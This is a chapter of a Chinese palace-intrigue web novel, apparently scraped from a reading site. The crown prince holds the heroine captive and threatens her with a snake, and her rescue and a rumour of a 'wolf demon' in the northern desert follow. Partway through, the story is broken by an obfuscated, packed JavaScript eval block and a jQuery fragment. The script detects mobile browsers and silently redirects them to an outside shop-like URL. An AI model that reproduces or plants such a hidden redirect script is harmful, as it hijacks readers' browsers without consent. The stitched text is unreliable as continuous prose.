14. 疯子

作品:《病娇大小姐的驯兽法则

    太子东宫,后院,梧华阁,是太子书房。


    这院中常年不设宫人,连个洒扫的都没有,安静异常,寒冬腊月,院里只剩厚厚的积雪和簌簌落下的雪声。


    梧华阁中有一面书墙,码得整整齐齐,存着经年来收藏的古籍。古籍墙后藏着一个阴暗逼仄的密室,里头没有烛火,仅中间一面墙的壁龛上放了一颗夜明珠,发出阴冷幽暗的微光。


    空荡又湿冷的密室,除正中间一把椅子外,再无其他家具。


    司寇若正被束于那椅上,眼睛上被蒙了一条黑布。她眉头紧皱,紧抿着唇,这阴暗湿冷的空间令她忍不住想作呕。里头没有任何火源,她衣衫单薄,寒意铺天盖地的来。


    周围似有活物在异动,发出嘶嘶的声响。


    不知过了多久,脚步声近,密室被重新打开又关上。


    有人进来了。


    她感觉到有温热的鼻息打在她脸颊上。“若儿妹妹,许久不见,你如今,出落得愈发出尘脱俗了。”


    司寇若侧开脸,躲开他的鼻息,眉头紧蹙。“太子殿下倒是不同,长相和手段都是越来越下作了。”


    “我下作?!”祁玄粗暴地扯下她眼上的黑布,“我下作?”


    他将袍袖挽起,露出一节小臂,捏住司寇若的下巴,迫使她看向自己那双被西南瘴气毒虫侵蚀过、布满伤痕的手。


    “司寇若,你知道西南是什么地方吗?”他压低声音,咬牙切齿,“白日虫蛇横行,毒蚊如云,夜里湿冷的寒气深入骨髓。”


    “那是瘴疠之乡!是蛮烟瘴雨的化外之地!”


    祁玄伸手,那一尾红黑环纹相间的赤练蛇便盘上他的手心,他将那毒蛇放到司寇若眼前。


    “你知道这四年,我是怎么过的吗?”


    “这四年,我每一天都在恨你!”


    那赤练蛇冲司寇若吐蛇信子,发出嘶嘶的鸣叫,鳞片在微弱的光照下反射出瘆人的冷光,一股独属于冷血爬行物的强烈腥臭味钻进鼻中。


    司寇若的手仍被束在椅后,指甲嵌入掌心,额头有细汗沁出,但她面上仍神色如常,轻蔑笑道:


    “看来西南果真是蛮瘴之地,殿下待了四年,记性都变差了,将京中之事都忘了!


    需不需要我提醒太子殿下,是你先欲陷害我兄长,诛我全族。


    而且,送太子殿下您去西北巡兵的,是陛下。


    不信任你,忌惮你,讨厌你的人,是你的父王,是皇帝陛下。”


    祁玄是疯子。


    但司寇若处事风格向来遇强则强,遇疯则更疯,她用言语之刃,疯狂戳向祁玄心底的最痛处。


    “司寇若!”祁玄双眼赤红,声音隐忍着愤怒而微微颤抖。


    “你司寇一族,不是自诩要守护祁国,守护祁氏皇室吗?我亦是正统太子,我是父王的亲儿子,我是祁国的太子!为何……”


    祁玄话没说完,便被司寇若打断。


    “祁玄,凡事先问问自己配不配。


    你父王,虽给了你太子之位,那他可曾将你当做储君培养?


    立你为太子,不过是他为了粉饰太平、维护正统的手段罢了。


    不止是你的太子之位,等你父王坐稳了这江山,你母后还能不能坐稳这皇后之位,还未可知呢。”


    说完,司寇若又是一声冷笑。


    祁玄双眼通红,身体因为克制自己的愤怒而发抖,手一松,那赤练蛇掉到了司寇若腿上,盘作一团,它同司寇若对视片刻,并未攻击她,而是顺着她的腿往下爬。经过小腿处裸露的肌肤时,鳞片传来冰凉黏腻的触感。


    司寇若闭了闭眼,强忍住呕吐。


    祁玄亦转身,平复了几息,似是终于记起了什么。


    “你当真相中了祁成那个草包?”


    “本来相中了你的,奈何太子殿下总想暗杀我。”


    “你、你在胡说什么?”祁玄目光闪躲,似乎是没想到这司寇若竟敢如此大胆直白,一点都没有贵女做派。


    司寇若盯着他的眼睛,“前几日有两个刺客跑到我院中想刺杀我,被我府卫击退,那两个刺客留下了些特殊的证据。”


    “什么证据?怎么就能认定是我做的?”


    “那贼人逃窜之时,在府墙上留下了一些红土,似乎是西南特有的红土。殿下刚从西南归来,见多识广,可曾知,京城何处会有那样的土?”


    “如果证实不是我做的,那你便能与我联姻么?”祁玄眼中似含了期望,行至今时今日,他亦疲乏,像饥渴交迫的旅人,双手紧握住司寇若的肩膀。


    “你先把我松开。”


    祁玄替她解了缚住双手的绳索,司寇若终于感到自在些,但这阴冷湿暗的密室,还有那爬行物身上的腥臭味,仍令她感到强烈的不适。


    祁玄看着她,在等着她的回答。


    她松了松手腕,冷冷说出,“做梦!”


    祁玄轻笑,似乎这个回答才在他的意料之中,他在笑自己那点幼稚的期许。


    他笑着靠近她,贴近她耳侧,“那你说,咱们在这密室中共处一夜的消息如果传出去,父皇会不会直接赐婚于你我?”


    司寇若再也忍不住,哇一声,全数吐在太子祁玄身上。


    祁玄觉得自己真应该离司寇若远点,要不是听了舅舅的安排,他根本就不会想着这样招惹司寇若。


    此女小时候便是泼皮无赖,如今长大,外表瞧着是千金贵女之姿,内里仍是无赖宵小!


    密室门重重关上。


    祁玄快步走回自己的寝殿去更衣,等他换上一身玄色衣袍,再款款回到梧华阁,密室门已大敞着,那一整面典籍书墙,又变成了一麻袋典籍。


    玄色衣袖下不由攥紧了拳头,“风渊!!”


    当日,六皇子的生辰宴席过半时,司寇河便请辞,要回军中处理军务。


    二嫂秦昭云欲留下与姑母说些体己话,“何不留若若妹妹再玩会,晚些她同我一起回。”


    司寇河还是放心不下,想将妹妹先送回府中,但看妹妹眼色,知道她还有要调查的事,便作罢了。


    “臣妹年纪小贪玩,想在宫中再多待会,有劳六皇子多加照拂。若若,别玩太晚,天黑前务必要回府。”


    “小河将军尽管忙你的去,若若我定替你们照顾好!”六皇子拍拍胸脯,信誓旦旦。


    司寇河看了看风渊,他亦点了点头,方才行了礼告退,同九歌折铁一并退了出去。


    很快,席间有人碰洒了司寇若的酒杯,沾湿了她的衣裙,即刻有婢女引她去侧殿更衣,风渊是男子,被留于门外等候。


    行云流水的招数,不加掩饰,悉数落在司寇若眼皮底下,她不动声色,全部接招。


    按着司寇若的叮嘱,风渊知道她进去之后便不必再等,照着她的嘱咐去探查那“皇宫里的味道”


    司寇若久久未归,六皇子越等越心慌,他可是和司寇将军拍过胸脯看顾好若若的。


    他跑去那侧殿寻人,敲了半天不见答复,便破门而入,里面早已空空如也。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725436|189245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “母妃,司寇若不见了!”祁成顾不得礼仪,慌忙冲进安妃寝殿,求助母亲。


    “什么?!”秦昭云闻言亦是急得站起,和六皇子二人宛如热锅上的蚂蚁。


    安妃倒是慢慢啜了口茶,“派宫人去四处寻寻,皇宫大,一时迷了路也是有的。”


    “姑母……”秦昭云看了一眼姑母的神色,猜测其中恐有内情,噤了声。


    “姐弟俩的心眼子加起来还没有那丫头一个零头多,不知道瞎操心什么。”


    另一边,护国公秦淮安同司寇河一行一起出宫,路上无话,他便想起最近听来的一桩奇闻轶事,压低声音神神秘秘地问道,“百川可曾听说,北漠狼妖之事?”


    “北漠狼妖?孩儿未曾听说。”


    “也是,你已归京数月,我也是近日在京营中听来的奇闻轶事。”


    秦淮安乃前朝武将,战功赫赫,祁兴刚即位的那几年,守西疆、退北狄、南平藩,皆有护国公之功。


    瑞丰建号五年,西疆胡寇猖獗,天纵奇才司寇天横空出世,十四岁便展露非凡将才,一战定天水。恰逢秦淮安旧疾复发,便请退回京,协助皇帝代理京营兵务。


    “听说几月前,北漠边境遭大风侵袭,黄沙退去后,竟露出层层叠叠的枯骨,数量惊人。有人怀疑,是狼妖所为。”


    “枯骨?难道是……人骨?”


    “没错,有当地牧民发现后,上报给地方官员,经过探查,那些枯骨皆是人骨,且从骨骼风化痕迹看,都是同一时期遭屠戮致死。”


    九歌惊奇道,“听说北漠有些不开化的民族,至今仍保留着活埋祭天的仪式,这该不会就是……”


    秦淮安摆手,摇了摇头,“若是活埋祭天,那骨骼即使风化散了,也该是完整的,但这些骨骼上骨裂狰狞,断口处似有兽类齿印,其印巨大,远超寻常狼类,如今北境人人自危,恐有狼妖现世。”


    九歌做出一副惊骇模样,司寇河则陷入沉默


    见状,秦淮安便打算就此打住。


    司寇河一副陷入沉思的模样,秦淮安便打算就此打住。


    “父亲大人,若是几月前就发现的,我同大哥都在军中,怎的一点消息都没听说?”


    “真相未明,担心引起民众恐慌,自然是不能将此事广而告之。而且……”秦淮安将声音又压低了一点,“听说那些尸骨瞧着像北狄人,未免引起两军交战,更要保密。”


    司寇河是陛下亲封的镇北大将军,对秦淮安说的“狼妖”之事,竟也一无所知。他同折铁交换了一下眼神,不再言语。


    帝师和护国公两府虽结了亲,但两位朝廷重臣不好过于亲近,为表避嫌,两家来往反而比未结亲的时候还少。


    如今秦淮安借着这个机会提及此事,也不知是无意还是有心。


    司寇若被风渊从密室中救出后,脸色一直很苍白。风渊不知从哪薅来一件厚厚的雪色狐裘大衣为司寇若披上,“我先带你回家。”


    司寇若摆摆手,“我没事,你可有查到什么线索?”


    “在一个园子里,有一个人在和皇帝下棋,那人身上有那个味道。但是……”


    “但是什么?”


    “我不认识他。而且,他身上的味道非常浓,那晚的人身上味道是淡淡的。”


    “你带我去。”


    到了西姜园,司寇若并未见到风渊说的那个和皇帝下棋的人,远远看过去,亭中空空如也。


    司寇若正欲往亭子中进一步探查,忽然有一席黑袍挡住了去路。